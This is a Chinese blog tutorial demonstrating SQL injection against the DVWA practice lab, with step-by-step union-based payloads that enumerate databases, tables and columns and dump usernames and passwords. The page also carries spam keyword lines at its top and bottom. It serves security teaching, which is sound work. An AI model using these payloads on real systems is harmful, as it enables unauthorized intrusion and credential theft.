91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

DVWA親測SQL注入漏洞

發布時間:2020-07-04 16:31:35 來源:網絡 閱讀:1201 作者:YWBOY 欄目:安全技術
介紹:

關于sql注入的基礎知識,我上篇文章也寫過了,這篇就用靶機的漏洞環境來實踐操作一下,所謂實踐出真理嘛,我們這次試用的漏洞平臺是DVWA,Github下載地址:DVWA
關于一下注入的基本知識或者姿勢,我會在實踐中詳解。

實驗:

LOW等級
先輸入1看一下
DVWA親測SQL注入漏洞
我們在加個單引號
DVWA親測SQL注入漏洞
這里的搜索框為什么沒有顯示單引號呢?因為被url編碼了
一般的url編碼其實就是那個字符的ASCII值得十六進制,再在前面加個%。
具體可以看URL編碼,這里可以查到每個字符的url編碼,當然自己編程或者用該語言應該也有自帶的函數,去實現url編碼。
這里說下sql注入中常見的url編碼:
空格是%20
單引號是%27
井號是%23(表注釋)
雙引號是%22
看報錯我們能看到,這是由' '兩個單引號擴起來的參數,看看源代碼
DVWA親測SQL注入漏洞
我們看

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"
$id = $_REQUEST[ 'id' ];

參數沒有經過任何的過濾....我們嘗試閉合單引號。
比如我們輸入id=1' or '1'='1
語句就變成了

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1';";

當然,我們也可以使用注釋來注釋后面的單引號
sql中注釋 單行可以使用 #(忽略) --(忽略),多行使用/ /
我們試試1' #
DVWA親測SQL注入漏洞
下面我們來利用漏洞獲取數據庫信息
大概步驟就是:
1.猜解所查詢的字段數目
2.獲取字段顯示位
3.通過顯示位獲取數據庫信息
4.獲取數據庫中的表名
5.獲取表中的列名(字段)
6.導出數據庫中的數據
7.驗證導出數據的有效性
猜解所查詢的字段數
方式1: order by num
若num數值超過了字段數,則查詢會報錯,從而判斷出select語句所查詢字段的數目
輸入:
1' order by 2 #
DVWA親測SQL注入漏洞
1' order by 3 #
DVWA親測SQL注入漏洞
報錯,說明數據表中只有兩個字段
方式二:union select 1,2,3...
若union select后的數字位(不一定是1/2/3,只要有數字占位即可)與實際查詢的字段位不完全對應時,查詢就會報錯,直至調整到不報錯時的占位個數,從而判斷實際查詢的字段數
輸入:union select 1,2 #
DVWA親測SQL注入漏洞
輸入:union select 1,2.3 #
DVWA親測SQL注入漏洞
獲取字段的顯示位
1' union select 1,2 #
DVWA親測SQL注入漏洞
既然顯示位顯示的是我們設定數值,那么我們就通過顯示位獲取數據,輸出出來
通過顯示位獲取數據庫信息
此處會用到Mysql注入常用的一些函數,可參看此文==>SQL注入常用的內置函數整理(以MySql為例)
獲取當前連接的數據庫名稱、DBMS的版本(Mysql的版本)
1' union select database(),version() #
DVWA親測SQL注入漏洞
獲取當前連接數據庫的用戶
1' union select 1,user() #
DVWA親測SQL注入漏洞
獲取服務器的操作系統、數據庫的存儲目錄
1' union select @@version_compile_os,@@datadir #
DVWA親測SQL注入漏洞
獲取數據庫中所有數據庫名
在此之前,科普一下數據庫的知識
mysql的數據庫information_schema,他是系統數據庫,安裝完就有,記錄是當前數據庫的數據庫,表,列,用戶權限等信息
information_schema.schemata 記錄所有的數據庫名稱
Information_schema.tables: 記錄表名信息的表(也有數據庫名字段)
Information_schema.columns: 記錄列名信息的表(數據庫名、表名、字段名)
1' union select 1,schema_name from information_schema.schemata # 可能是權限問題,沒有全部爆出來
DVWA親測SQL注入漏洞
去數據庫執行是這樣的
DVWA親測SQL注入漏洞
我們發現數據庫dvwa正是我們想要的,因此,通過此數據庫,去爆表
獲取當前連接數據庫(dvwa)中的所有表
1' union select 1,table_name from information_schema.tables where table_schema="dvwa" #
where .. 后面表示的限制的條件,只查數據庫名是dvwa的表
DVWA親測SQL注入漏洞
獲取表中的列名(字段)
1' union select 1,column_name from information_schema.columns where table_name="users" #
DVWA親測SQL注入漏洞
這樣輸出有點亂,我們使用group_concat()將他們簡單的輸出出來
1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #
DVWA親測SQL注入漏洞
如果你覺得有點擠,看的不舒服的話,你可以
1' union select 1,group_concat(column_name,' ') from information_schema.columns where table_name="users" #
DVWA親測SQL注入漏洞
這樣是不是就明顯多了?關于group_concat(),還有concat()可以自行百度學習
知道了數據庫的表名、字段名就可以爆表了
爆表
1' union select 1,concat(user,'--',password) from users #
DVWA親測SQL注入漏洞
還有其他更多的導出操作,一些導出函數的使用,可以自行嘗試
驗證導出數據的有效性
DVWA親測SQL注入漏洞
OK!!
Medium
只是閉合方式不同
DVWA親測SQL注入漏洞
其余操作步驟與上差不多
high
DVWA親測SQL注入漏洞
想辦法閉合,其他就自然好起來了!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

望谟县| 布拖县| 九龙城区| 香格里拉县| 拜城县| 新营市| 锦州市| 宽城| 岗巴县| 文登市| 延吉市| 高州市| 绩溪县| 集贤县| 鲁甸县| 长治县| 北流市| 航空| 清流县| 道孚县| 香河县| 巴彦淖尔市| 澄迈县| 吉首市| 沙雅县| 蓝田县| 南江县| 丰宁| 乃东县| 荔波县| 乌海市| 新绛县| 禹州市| 米脂县| 张家界市| 龙里县| 平原县| 包头市| 苏尼特左旗| 台中市| 唐河县|